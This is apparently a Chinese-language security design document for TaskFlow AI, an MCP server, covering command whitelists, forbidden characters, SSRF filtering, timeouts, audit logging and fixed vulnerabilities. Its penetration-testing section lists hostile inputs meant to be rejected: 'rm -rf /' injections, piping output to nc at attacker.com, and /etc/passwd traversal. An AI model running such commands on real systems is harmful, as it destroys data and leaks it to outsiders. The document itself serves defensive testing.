TaskFlow AI 安全架构
概述
TaskFlow AI 采用多层安全防护体系,确保 MCP Server 在生产环境中的安全性。v4.1.0 已修复所有已知安全漏洞,包括 6 个 P0 级别漏洞。
安全设计原则
- 最小权限 - 只开放必要的操作
- 深度防御 - 多层防护,一层突破仍有其他层
- 失败安全 - 出错时默认拒绝
- 审计追踪 - 所有操作都可追溯
- 安全优先 - 安全性高于便捷性
防护层次
第 1 层:输入验证 (Input Validation)
↓
第 2 层:输入过滤 (Input Filtering)
↓
第 3 层:执行控制 (Execution Control)
↓
第 4 层:审计日志 (Audit Logging)第 1 层:输入验证
命令白名单
typescript
// 只允许预定义的安全命令
const COMMAND_WHITELIST = new Set([
// 系统命令
'ls', 'cd', 'pwd', 'cat', 'head', 'tail', 'grep', 'find',
// 开发工具
'git', 'npm', 'yarn', 'pnpm', 'node', 'python', 'python3',
// 文件操作
'cp', 'mv', 'rm', 'mkdir', 'touch',
// 其他
'echo', 'printf', 'sed', 'awk'
]);
export function validateCommand(command: string): ValidationResult {
const parts = command.trim().split(/\s+/);
const baseCommand = parts[0];
return {
valid: COMMAND_WHITELIST.has(baseCommand),
reason: COMMAND_WHITELIST.has(baseCommand)
? undefined
: `Command not in whitelist: ${baseCommand}`
};
}禁止字符检测
typescript
const FORBIDDEN_CHARS = [
'$', '`', '|', '&', ';', '>', '(', ')', '[', ']', '{', '}', '\\'
];
export function hasForbiddenChars(input: string): boolean {
return FORBIDDEN_CHARS.some(char => input.includes(char));
}第 2 层:输入过滤
危险正则模式
typescript
const DANGEROUS_PATTERNS = [
/https?:\/\/[\d.]+/i, // 防止访问 IP 地址
/^(file|ftp):\/\//i, // 禁止 file:// 和 ftp:// 协议
/<script\b/i, // 防止 XSS
eval\(/i, // 防止代码注入
];
export function hasDangerousPattern(input: string): boolean {
return DANGEROUS_PATTERNS.some(pattern =>
pattern.test(input)
);
}SSRF 防护
typescript
export function validateUrl(url: string): ValidationResult {
const parsed = new URL(url);
// 禁止私有 IP
const privateIPs = [
/^127\./,
/^10\./,
/^172\.(1[6-9]|2[0-9]|3[0-1])\./,
/^192\.168\./
];
if (privateIPs.some(re => re.test(parsed.hostname))) {
return { valid: false, reason: 'Private IP address not allowed' };
}
return { valid: true };
}第 3 层:执行控制
超时保护
typescript
const DEFAULT_TIMEOUT = 30000; // 30 秒
export async function withTimeout<T>(
promise: Promise<T>,
timeout = DEFAULT_TIMEOUT
): Promise<T> {
return Promise.race([
promise,
new Promise<never>((_, reject) =>
setTimeout(() => reject(new Error('Timeout')), timeout)
)
]);
}内存限制
typescript
export function withMemoryLimit<T>(
fn: () => T,
limit = 512 * 1024 * 1024 // 512MB
): T {
const startMemory = process.memoryUsage().heapUsed;
const result = fn();
const endMemory = process.memoryUsage().heapUsed;
if (endMemory - startMemory > limit) {
throw new Error('Memory limit exceeded');
}
return result;
}第 4 层:审计日志
typescript
export function auditLog(context: AuditContext): void {
logger.info({
timestamp: new Date().toISOString(),
type: context.type,
user: context.user,
action: context.action,
resource: context.resource,
result: context.result,
duration: context.duration,
ip: context.ip
});
}已修复的安全漏洞
P0 级别漏洞 (6/6 全部修复)
1. 命令白名单绕过漏洞
问题描述: 旧版本只检查第一个命令部分,攻击者可以通过 &&、||、; 链接命令绕过。
修复方案:
- 添加禁止字符检测
- 多层验证(字符 + 正则 + 白名单)
- 检查所有命令部分
修复时间: v4.1.0
2. 正则匹配绕过风险 (ReDoS)
问题描述: 危险正则模式没有 try-catch 保护,可能导致 ReDoS 攻击。
修复方案:
- 为所有正则操作添加 try-catch
- 正则错误时默认拒绝
修复时间: v4.1.0
3. ModelGateway 无用表达式 Bug
问题描述: 代码中有无用的表达式,导致状态不一致。
修复方案:
const改为let- 修复赋值操作
修复时间: v4.1.0
4. 工具执行缺乏超时保护
问题描述: 工具执行没有超时限制,可能导致拒绝服务。
修复方案:
- 添加 30 秒超时保护
- 使用
Promise.race实现
修复时间: v4.1.0
5. 沙箱逃逸风险
问题描述: Node.js 的 vm.runInNewContext 不是真正的沙箱,可能逃逸。
修复方案:
- 完全移除沙箱功能
- 改用严格的输入验证和命令白名单
修复时间: v4.1.0
6. shell_kill 权限问题
问题描述: shell_kill 工具可能终止系统任意进程。
修复方案:
- 完全移除
shell_kill工具 - 进程管理交给操作系统
修复时间: v4.1.0
安全配置
全局安全配置
yaml
# ~/.taskflow/config.yaml
security:
# 启用所有安全检查
enabled: true
# 严格模式
strictMode: true
# 命令白名单
commandWhitelist:
- ls
- cat
- git
- npm
# 禁止的字符
forbiddenChars:
- '$'
- '`'
- '|'
- '&'
- ';'
- '>'
# 超时设置
timeout: 30000
# 内存限制 (MB)
memoryLimit: 512
# 审计日志
audit:
enabled: true
logPath: ~/.taskflow/audit.log安全最佳实践
1. 启用所有安全层
bash
# 不要禁用任何安全检查
taskflow config set security.strictMode true2. 定期更新
bash
# 保持最新版本
npm update -g taskflow-ai3. 审查日志
bash
# 查看安全日志
taskflow security logs
# 查看异常行为
taskflow security anomalies4. 最小权限
bash
# 只启用必要的工具
taskflow mcp enable fs_read fs_write git_commit5. 环境隔离
bash
# 生产环境使用专用配置
taskflow config set environment production安全测试
命令注入测试
bash
# 测试命令注入
taskflow security test --type command-injection
# 测试路径遍历
taskflow security test --type path-traversal
# 测试 SSRF
taskflow security test --type ssrf扫描漏洞
bash
# 使用 npm audit
npm audit
# 使用 Snyk
snyk test
# 使用 OWASP Dependency-Check
dependency-check --scan .渗透测试
测试场景
命令注入
bash# 尝试注入命令 ls && rm -rf / ls | nc attacker.com 1234 `rm -rf /`路径遍历
bash# 尝试路径遍历 ../../../etc/passwd %2e%2e%2fetc%2fpasswdSSRF
bash# 尝试访问内网 http://127.0.0.1:8080 http://192.168.1.1
所有测试应该被拒绝并记录在审计日志中。
安全报告
当前状态
| 指标 | 状态 |
|---|---|
| P0 安全漏洞 | ✅ 0 |
| P1-P3 安全漏洞 | ✅ 0 |
| 安全测试覆盖率 | ✅ 90% |
| 漏洞修复时间 | ✅ <24h |
完整安全报告
漏洞报告
如果你发现了安全漏洞,请严格按照以下流程报告:
- 不要公开披露
- 发送邮件到: 1051736049@qq.com
- 提供详细的复现步骤
- 等待确认后再公开
我们承诺:
- ✅ 24 小时内响应
- ✅ 90 天内修复(P0 级别 24 小时内)
- ✅ 修复后公开致谢
法律声明
本软件按"原样"提供,不提供任何明示或暗示的保证。在使用本软件之前,请确保了解相关法律法规。